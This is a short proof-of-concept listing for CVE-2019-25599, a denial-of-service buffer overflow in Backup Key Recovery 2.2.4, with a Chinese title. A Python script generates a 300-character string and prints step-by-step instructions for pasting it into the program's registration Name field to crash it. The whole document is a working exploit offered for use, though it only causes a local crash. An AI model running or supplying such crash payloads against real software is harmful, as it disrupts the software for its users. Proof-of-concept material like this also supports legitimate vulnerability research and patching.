CVE-2019-25599 Backup Key Recovery拒绝服务漏洞

import sys # PoC for CVE-2019-25599 # Vulnerable Product: Backup Key Recovery 2.2.4 # Vulnerability Type: Denial of Service (Buffer Overflow) def generate_dos_payload(): """ Generates a payload string of 300 characters. This length is sufficient to trigger the buffer overflow in the Name field. """ # Creating a buffer of 300 'A' characters payload = "A" * 300 return payload if __name__ == "__main__": crash_string = generate_dos_payload() print("[+] PoC Generated for CVE-2019-25599") print(f"[+] Payload Length: {len(crash_string)} characters") print("[+] Payload Content:") print(crash_string) print("\n[!] Instructions:") print("1. Open Backup Key Recovery 2.2.4") print("2. Navigate to the Registration/Name field") print("3. Paste the payload above into the 'Name' field") print("4. Submit the form to trigger the crash.")